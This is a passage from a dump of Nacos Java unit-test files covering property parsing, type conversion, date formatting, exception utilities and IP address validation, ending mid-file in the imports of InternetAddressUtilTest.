    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * description.\n *\n * @author rong\n * @date 2024-03-01 15:10\n */\nclass ConnLabelsUtilsTest {\n    \n    @Test\n    void testParsePropertyValue2Map() {\n        Properties properties = new Properties();\n        String property = \"property\";\n        String rawValue = \"k1 = v1, k2 = v2\";\n        properties.put(property, rawValue);\n        String property1 = \"property2\";\n        String rawValue1 = \"k11=v11, kk2\";\n        properties.put(property1, rawValue1);\n        \n        Map<String, String> m = ConnLabelsUtils.parsePropertyValue2Map(properties, property);\n        assertEquals(2, m.size());\n        assertEquals(\"v1\", m.get(\"k1\"));\n        assertEquals(\"v2\", m.get(\"k2\"));\n        \n        Map<String, String> m1 = ConnLabelsUtils.parsePropertyValue2Map(properties, property1);\n        assertEquals(1, m1.size());\n        assertEquals(\"v11\", m1.get(\"k11\"));\n        assertNull(m1.get(\"kk2\"));\n        \n        m = ConnLabelsUtils.mergeMapByOrder(m, m1);\n        assertEquals(3, m.size());\n        assertEquals(\"v1\", m.get(\"k1\"));\n        assertEquals(\"v2\", m.get(\"k2\"));\n        assertEquals(\"v11\", m.get(\"k11\"));\n        \n        m = ConnLabelsUtils.addPrefixForEachKey(m, \"test_prefix\");\n        assertEquals(3, m.size());\n        m.forEach((k, v) -> {\n            assertTrue(k.startsWith(\"test_prefix\"));\n        });\n    }\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ConvertUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * Unit test of ConvertUtils.\n *\n * @author <a href=\"mailto:jifeng.sun@outlook.com\">sunjifeng</a>\n */\nclass ConvertUtilsTest {\n    \n    @Test\n    void testToInt() {\n        // ConvertUtils.toInt(String)\n        assertEquals(0, ConvertUtils.toInt(\"0\"));\n        assertEquals(-1, ConvertUtils.toInt(\"-1\"));\n        assertEquals(10, ConvertUtils.toInt(\"10\"));\n        assertEquals(Integer.MAX_VALUE, ConvertUtils.toInt(String.valueOf(Integer.MAX_VALUE)));\n        assertEquals(Integer.MIN_VALUE, ConvertUtils.toInt(String.valueOf(Integer.MIN_VALUE)));\n        assertEquals(0, ConvertUtils.toInt(\"notIntValue\"));\n        \n        // ConvertUtils.toInt(String, Integer)\n        assertEquals(0, ConvertUtils.toInt(\"0\", 100));\n        assertEquals(100, ConvertUtils.toInt(null, 100));\n        assertEquals(100, ConvertUtils.toInt(\"null\", 100));\n        assertEquals(100, ConvertUtils.toInt(\"notIntValue\", 100));\n    }\n    \n    @Test\n    void testToLong() {\n        // ConvertUtils.toLong(Object)\n        assertEquals(0L, ConvertUtils.toLong(new ArrayList<>()));\n        assertEquals(10L, ConvertUtils.toLong((Object) 10L));\n        \n        // ConvertUtils.toLong(String)\n        assertEquals(0L, ConvertUtils.toLong(\"0\"));\n        assertEquals(-1L, ConvertUtils.toLong(\"-1\"));\n        assertEquals(10L, ConvertUtils.toLong(\"10\"));\n        assertEquals(Long.MAX_VALUE, ConvertUtils.toLong(String.valueOf(Long.MAX_VALUE)));\n        assertEquals(Long.MIN_VALUE, ConvertUtils.toLong(String.valueOf(Long.MIN_VALUE)));\n        assertEquals(0L, ConvertUtils.toLong(\"notIntValue\"));\n        \n        // ConvertUtils.toLong(String, Integer)\n        assertEquals(0L, ConvertUtils.toLong(\"0\", 100L));\n        assertEquals(100L, ConvertUtils.toLong(null, 100L));\n        assertEquals(100L, ConvertUtils.toLong(\"null\", 100L));\n        assertEquals(100L, ConvertUtils.toLong(\"notIntValue\", 100L));\n    }\n    \n    @Test\n    void testToBoolean() {\n        // ConvertUtils.toBoolean(String)\n        assertTrue(ConvertUtils.toBoolean(\"true\"));\n        assertTrue(ConvertUtils.toBoolean(\"True\"));\n        assertTrue(ConvertUtils.toBoolean(\"TRUE\"));\n        assertFalse(ConvertUtils.toBoolean(\"false\"));\n        assertFalse(ConvertUtils.toBoolean(\"False\"));\n        assertFalse(ConvertUtils.toBoolean(\"FALSE\"));\n        assertFalse(ConvertUtils.toBoolean(null));\n        assertFalse(ConvertUtils.toBoolean(\"notBoolean\"));\n        \n        // ConvertUtils.toBoolean(String, boolean)\n        assertFalse(ConvertUtils.toBoolean(\"\", false));\n        assertFalse(ConvertUtils.toBoolean(null, false));\n        assertFalse(ConvertUtils.toBoolean(\"notBoolean\", false));\n        assertTrue(ConvertUtils.toBoolean(\"true\", false));\n    }\n    \n    @Test\n    void testToBooleanObject() {\n        assertTrue(ConvertUtils.toBooleanObject(\"T\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"t\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"Y\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"y\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"f\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"F\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"n\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"N\"));\n        assertNull(ConvertUtils.toBooleanObject(\"a\"));\n        \n        assertTrue(ConvertUtils.toBooleanObject(\"on\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"oN\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"On\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"ON\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"No\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"NO\"));\n        assertNull(ConvertUtils.toBooleanObject(\"an\"));\n        assertNull(ConvertUtils.toBooleanObject(\"aN\"));\n        assertNull(ConvertUtils.toBooleanObject(\"oa\"));\n        assertNull(ConvertUtils.toBooleanObject(\"Oa\"));\n        assertNull(ConvertUtils.toBooleanObject(\"Na\"));\n        assertNull(ConvertUtils.toBooleanObject(\"na\"));\n        assertNull(ConvertUtils.toBooleanObject(\"aO\"));\n        assertNull(ConvertUtils.toBooleanObject(\"ao\"));\n        \n        assertFalse(ConvertUtils.toBooleanObject(\"off\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"ofF\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"oFf\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"oFF\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"Off\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"OfF\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"OFf\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"OFF\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"yes\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"yeS\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"yEs\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"yES\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"Yes\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"YeS\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"YEs\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"YES\"));\n        assertNull(ConvertUtils.toBooleanObject(\"ono\"));\n        assertNull(ConvertUtils.toBooleanObject(\"aes\"));\n        assertNull(ConvertUtils.toBooleanObject(\"aeS\"));\n        assertNull(ConvertUtils.toBooleanObject(\"aEs\"));\n        assertNull(ConvertUtils.toBooleanObject(\"aES\"));\n        assertNull(ConvertUtils.toBooleanObject(\"yas\"));\n        assertNull(ConvertUtils.toBooleanObject(\"yaS\"));\n        assertNull(ConvertUtils.toBooleanObject(\"Yas\"));\n        assertNull(ConvertUtils.toBooleanObject(\"YaS\"));\n        assertNull(ConvertUtils.toBooleanObject(\"yea\"));\n        assertNull(ConvertUtils.toBooleanObject(\"yEa\"));\n        assertNull(ConvertUtils.toBooleanObject(\"Yea\"));\n        assertNull(ConvertUtils.toBooleanObject(\"YEa\"));\n        assertNull(ConvertUtils.toBooleanObject(\"aff\"));\n        assertNull(ConvertUtils.toBooleanObject(\"afF\"));\n        assertNull(ConvertUtils.toBooleanObject(\"aFf\"));\n        assertNull(ConvertUtils.toBooleanObject(\"aFF\"));\n        assertNull(ConvertUtils.toBooleanObject(\"oaf\"));\n        assertNull(ConvertUtils.toBooleanObject(\"oaF\"));\n        assertNull(ConvertUtils.toBooleanObject(\"Oaf\"));\n        assertNull(ConvertUtils.toBooleanObject(\"OaF\"));\n        assertNull(ConvertUtils.toBooleanObject(\"Ofa\"));\n        assertNull(ConvertUtils.toBooleanObject(\"ofa\"));\n        assertNull(ConvertUtils.toBooleanObject(\"OFa\"));\n        assertNull(ConvertUtils.toBooleanObject(\"oFa\"));\n        \n        assertTrue(ConvertUtils.toBooleanObject(\"true\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"truE\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"trUe\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"trUE\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"tRue\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"tRuE\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"tRUe\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"tRUE\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"True\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"TruE\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"TrUe\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"TrUE\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"TRue\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"TRuE\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"TRUe\"));\n        assertTrue(ConvertUtils.toBooleanObject(\"TRUE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"Xrue\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XruE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XrUe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XrUE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XRue\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XRuE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XRUe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XRUE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"tXue\"));\n        assertNull(ConvertUtils.toBooleanObject(\"tXuE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"tXUe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"tXUE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TXue\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TXuE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TXUe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TXUE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"trXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"trXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"tRXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"tRXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TrXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TrXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TRXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TRXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"truX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"trUX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"tRuX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"tRUX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TruX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TrUX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TRuX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"TRUX\"));\n        \n        assertFalse(ConvertUtils.toBooleanObject(\"false\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"falsE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"falSe\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"falSE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"faLse\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"faLsE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"faLSe\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"faLSE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"fAlse\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"fAlsE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"fAlSe\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"fAlSE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"fALse\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"fALsE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"fALSe\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"fALSE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"False\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FalsE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FalSe\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FalSE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FaLse\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FaLsE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FaLSe\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FaLSE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FAlse\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FAlsE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FAlSe\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FAlSE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FALse\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FALsE\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FALSe\"));\n        assertFalse(ConvertUtils.toBooleanObject(\"FALSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"Xalse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XalsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XalSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XalSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XaLse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XaLsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XaLSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XaLSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XAlse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XAlsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XAlSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XAlSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XALse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XALsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XALSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"XALSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fXlse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fXlsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fXlSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fXlSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fXLse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fXLsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fXLSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fXLSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FXlse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FXlsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FXlSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FXlSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FXLse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FXLsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FXLSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FXLSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"faXse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"faXsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"faXSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"faXSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fAXse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fAXsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fAXSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fAXSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FaXse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FaXsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FaXSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FaXSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FAXse\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FAXsE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FAXSe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FAXSE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"falXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"falXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"faLXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"faLXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fAlXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fAlXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fALXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fALXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FalXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FalXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FaLXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FaLXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FAlXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FAlXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FALXe\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FALXE\"));\n        assertNull(ConvertUtils.toBooleanObject(\"falsX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"falSX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"faLsX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"faLSX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fAlsX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fAlSX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fALsX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"fALSX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FalsX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FalSX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FaLsX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FaLSX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FAlsX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FAlSX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FALsX\"));\n        assertNull(ConvertUtils.toBooleanObject(\"FALSX\"));\n        \n        assertNull(ConvertUtils.toBooleanObject(null));\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/DateFormatUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.TimeZone;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\n/**\n * DateFormatUtils test.\n *\n * @author zzq\n */\nclass DateFormatUtilsTest {\n    \n    @Test\n    void testformat() {\n        final Calendar c = Calendar.getInstance(TimeZone.getDefault());\n        c.set(2021, Calendar.JANUARY, 1, 12, 0, 0);\n        c.setTimeZone(TimeZone.getDefault());\n        final StringBuilder buffer = new StringBuilder();\n        final int year = c.get(Calendar.YEAR);\n        final int month = c.get(Calendar.MONTH) + 1;\n        final int day = c.get(Calendar.DAY_OF_MONTH);\n        final int hour = c.get(Calendar.HOUR_OF_DAY);\n        buffer.append(year);\n        buffer.append(month);\n        buffer.append(day);\n        buffer.append(hour);\n        assertEquals(buffer.toString(), DateFormatUtils.format(c.getTime(), \"yyyyMdH\"));\n    }\n    \n    @Test\n    void testForNullPointerExceptionWithDate() {\n        assertThrows(NullPointerException.class, () -> {\n            DateFormatUtils.format(new Date(), null);\n        });\n    }\n    \n    @Test\n    void testForNullPointerExceptionWithPattern() {\n        assertThrows(NullPointerException.class, () -> {\n            DateFormatUtils.format(null, \"yyyyMdH\");\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ExceptionUtilTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ExceptionUtilTest {\n    \n    NacosRuntimeException nacosRuntimeException;\n    \n    @BeforeEach\n    void setUp() {\n        RuntimeException caused = new RuntimeException(\"I'm caused exception.\");\n        nacosRuntimeException = new NacosRuntimeException(500, \"Test\", caused);\n        \n    }\n    \n    @Test\n    void testGetAllExceptionMsg() {\n        String msg = ExceptionUtil.getAllExceptionMsg(nacosRuntimeException);\n        assertEquals(\"caused: errCode: 500, errMsg: Test ;caused: I'm caused exception.;\", msg);\n    }\n    \n    @Test\n    void testGetCause() {\n        assertEquals(\"I'm caused exception.\", ExceptionUtil.getCause(nacosRuntimeException).getMessage());\n        NacosRuntimeException nreWithoutCaused = new NacosRuntimeException(500);\n        assertEquals(nreWithoutCaused, ExceptionUtil.getCause(nreWithoutCaused));\n    }\n    \n    @Test\n    void testGetStackTrace() {\n        assertEquals(\"\", ExceptionUtil.getStackTrace(null));\n        String stackTrace = ExceptionUtil.getStackTrace(nacosRuntimeException);\n        assertTrue(\n                stackTrace.contains(\"com.alibaba.nacos.api.exception.runtime.NacosRuntimeException: errCode: 500, errMsg: Test\"));\n        assertTrue(stackTrace.contains(\"at\"));\n        assertTrue(stackTrace.contains(\"Caused by: java.lang.RuntimeException: I'm caused exception.\"));\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/FuzzyGroupKeyPatternTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n/**\n * GroupKeyPatternUtilsTest.\n *\n * @author stone-98\n * @date 2024/3/19\n */\npublic class FuzzyGroupKeyPatternTest {\n    \n    @Test\n    public void testGetGroupKeyPattern() {\n        String dataIdPattern = \"examplePattern*\";\n        String group = \"exampleGroup\";\n        String namespace = \"exampleNamespace\";\n        \n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(dataIdPattern, group, namespace);\n        \n        assertEquals(\"exampleNamespace>>exampleGroup>>examplePattern*\", groupKeyPattern);\n    }\n    \n}\n\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/InetAddressValidatorTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * InetAddressValidator Test.\n *\n * @ClassName: InetAddressValidatorTest\n * @Author: ChenHao26\n * @Date: 2022/8/22 13:07\n */\nclass InetAddressValidatorTest {\n    \n    @Test\n    void isIpv6Address() {\n        assertTrue(InetAddressValidator.isIpv6Address(\"2000:0000:0000:0000:0001:2345:6789:abcd\"));\n        assertTrue(InetAddressValidator.isIpv6Address(\"2001:DB8:0:0:8:800:200C:417A\"));\n        assertTrue(InetAddressValidator.isIpv6Address(\"2001:DB8::8:800:200C:417A\"));\n        assertFalse(InetAddressValidator.isIpv6Address(\"2001:DB8::8:800:200C141aA\"));\n    }\n    \n    @Test\n    void isIpv6MixedAddress() {\n        assertTrue(InetAddressValidator.isIpv6MixedAddress(\"1:0:0:0:0:0:172.12.55.18\"));\n        assertTrue(InetAddressValidator.isIpv6MixedAddress(\"::172.12.55.18\"));\n        assertFalse(InetAddressValidator.isIpv6MixedAddress(\"2001:DB8::8:800:200C141aA\"));\n    }\n    \n    @Test\n    void isIpv6Ipv4MappedAddress() {\n        assertFalse(InetAddressValidator.isIpv6Ipv4MappedAddress(\":ffff:1.1.1.1\"));\n        assertTrue(InetAddressValidator.isIpv6Ipv4MappedAddress(\"::FFFF:192.168.1.2\"));\n    }\n    \n    @Test\n    void isIpv4Address() {\n        assertTrue(InetAddressValidator.isIpv4Address(\"192.168.1.2\"));\n    }\n    \n    @Test\n    void isLinkLocalIpv6WithZoneIndex() {\n        assertTrue(InetAddressValidator.isLinkLocalIpv6WithZoneIndex(\"fe80::1%lo0\"));\n        assertFalse(InetAddressValidator.isLinkLocalIpv6WithZoneIndex(\"2000:0000:0000:0000:0001:2345:6789:abcd\"));\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/InternetAddressUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static 